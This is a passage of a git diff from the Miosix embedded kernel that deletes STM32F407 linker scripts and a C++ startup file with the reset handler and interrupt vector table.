would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - .text, .data and .bss in the "large" 128KB RAM - * - stacks and heap in the "small" 64KB RAM. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * In this linker script the main stack is placed at the top of the ram since: - * - the interrupt vectors are forwarded at the bottom of the ram - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the stack */ -_main_stack_top = 0x10010000; /* placed at the top of ram */ -_end = 0x10000000; -_heap_end = _main_stack_top - _main_stack_size; - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 128K - smallram(wx) : ORIGIN = 0x10000000, LENGTH = 64K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > largeram - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > largeram - __exidx_end = .; - - /* .data section: global variables go to ram */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > largeram - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > largeram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_rom.ld deleted file mode 100644 index 8c0d05921..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_rom.ld +++ /dev/null @@ -1,180 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 192K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - stacks and heap in the "large" 128KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the large 128KB RAM */ -_end = 0x20000000; -_heap_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 128K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_rom_processes.ld b/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_rom_processes.ld deleted file mode 100644 index de7e65262..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_stm32f4discovery/stm32_1m+192k_rom_processes.ld +++ /dev/null @@ -1,183 +0,0 @@ -/* - * C++ enabled linker script for stm32 (1M FLASH, 192K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This chip has an unusual quirk that the RAM is divided in two block mapped - * at two non contiguous memory addresses. I don't know why they've done that, - * probably doing the obvious thing would have made writing code too easy... - * Anyway, since hardware can't be changed, we've got to live with that and - * try to make use of both RAMs. - * - * Given the constraints above, this linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in FLASH - * - the 512Byte main (IRQ) stack, .data and .bss in the "small" 64KB RAM - * - stacks and heap in the "large" 128KB RAM. - * - * Unfortunately thread stacks can't be put in the small RAM as Miosix - * allocates them inside the heap. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x10000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* Mapping the heap into the bottom 32KB of the large 128KB RAM */ -_end = 0x20000000; -_heap_end = 0x20008000; -/* Mapping the process pool into the upper 96KB of the large 128KB RAM */ -_process_pool_start = _heap_end; -_process_pool_end = 0x20020000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M - /* - * Note, the small ram starts at 0x10000000 but it is necessary to add the - * size of the main stack, so it is 0x10000200. - */ - smallram(wx) : ORIGIN = 0x10000200, LENGTH = 64K-0x200 - largeram(wx) : ORIGIN = 0x20000000, LENGTH = 128K -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > smallram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > smallram - _bss_end = .; - - /*_end = .;*/ - /*PROVIDE(end = .);*/ -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/core/stage_1_boot.cpp deleted file mode 100644 index c9c303050..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f407vg_thermal_test_chip/core/stage_1_boot.cpp +++ /dev/null @@ -1,380 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f4 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) CAN1_TX_IRQHandler(); -void __attribute__((weak)) CAN1_RX0_IRQHandler(); -void __attribute__((weak)) CAN1_RX1_IRQHandler(); -void __attribute__((weak)) CAN1_SCE_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) USART3_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) TIM8_BRK_TIM12_IRQHandler(); -void __attribute__((weak)) TIM8_UP_TIM13_IRQHandler(); -void __attribute__((weak)) TIM8_TRG_COM_TIM14_IRQHandler(); -void __attribute__((weak)) TIM8_CC_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) FSMC_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) UART4_IRQHandler(); -void __attribute__((weak)) UART5_IRQHandler(); -void __attribute__((weak)) TIM6_DAC_IRQHandler(); -void __attribute__((weak)) TIM7_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) ETH_IRQHandler(); -void __attribute__((weak)) ETH_WKUP_IRQHandler(); -void __attribute__((weak)) CAN2_TX_IRQHandler(); -void __attribute__((weak)) CAN2_RX0_IRQHandler(); -void __attribute__((weak)) CAN2_RX1_IRQHandler(); -void __attribute__((weak)) CAN2_SCE_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_OUT_IRQHandler(); -void __attribute__((weak)) OTG_HS_EP1_IN_IRQHandler(); -void __attribute__((weak)) OTG_HS_WKUP_IRQHandler(); -void __attribute__((weak)) OTG_HS_IRQHandler(); -void __attribute__((weak)) DCMI_IRQHandler(); -void __attribute__((weak)) CRYP_IRQHandler(); -void __attribute__((weak)) HASH_RNG_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - CAN1_TX_IRQHandler, - CAN1_RX0_IRQHandler, - CAN1_RX1_IRQHandler, - CAN1_SCE_IRQHandler, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - USART3_IRQHandler, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - TIM8_BRK_TIM12_IRQHandler, - TIM8_UP_TIM13_IRQHandler, - TIM8_TRG_COM_TIM14_IRQHandler, - TIM8_CC_IRQHandler, - DMA1_Stream7_IRQHandler, - FSMC_IRQHandler, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - UART4_IRQHandler, - UART5_IRQHandler, - TIM6_DAC_IRQHandler, - TIM7_IRQHandler, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - ETH_IRQHandler, - ETH_WKUP_IRQHandler, - CAN2_TX_IRQHandler, - CAN2_RX0_IRQHandler, - CAN2_RX1_IRQHandler, - CAN2_SCE_IRQHandler, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - OTG_HS_EP1_OUT_IRQHandler, - OTG_HS_EP1_IN_IRQHandler, - OTG_HS_WKUP_IRQHandler, - OTG_HS_IRQHandler, - DCMI_IRQHandler, - CRYP_IRQHandler, - HASH_RNG_IRQHandler, - FPU_IRQHandler -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak CAN1_TX_IRQHandler = Default_Handler -#pragma weak CAN1_RX0_IRQHandler = Default_Handler -#pragma weak CAN1_RX1_IRQHandler = Default_Handler -#pragma weak CAN1_SCE_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak USART3_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak TIM8_BRK_TIM12_IRQHandler = Default_Handler -#pragma weak TIM8_UP_TIM13_IRQHandler = Default_Handler -#pragma weak TIM8_TRG_COM_TIM14_IRQHandler = Default_Handler -#pragma weak TIM8_CC_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak FSMC_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak UART4_IRQHandler = Default_Handler -#pragma weak UART5_IRQHandler = Default_Handler -#pragma weak TIM6_DAC_IRQHandler = Default_Handler -#pragma weak TIM7_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak ETH_IRQHandler = Default_Handler -#pragma weak ETH_WKUP_IRQHandler = Default_Handler -#pragma weak CAN2_TX_IRQHandler = Default_Handler -#pragma weak CAN2_RX0_IRQHandler = Default_Handler -#pragma weak CAN2_RX1_IRQHandler = Default_Handler -#pragma weak CAN2_SCE_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_OUT_IRQHandler = Default_Handler -#pragma weak OTG_HS_EP1_IN_IRQHandler = Default_Handler -#pragma weak OTG_HS_WKUP_IRQHandler = Default_Handler -#pragma weak OTG_HS_IRQHandler = Default_Handler -#pragma weak DCMI_IRQHandler = Default_Handler -#pragma weak CRYP_IRQHandler = Default_Handler -#pragma weak HASH_RNG_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler diff --git 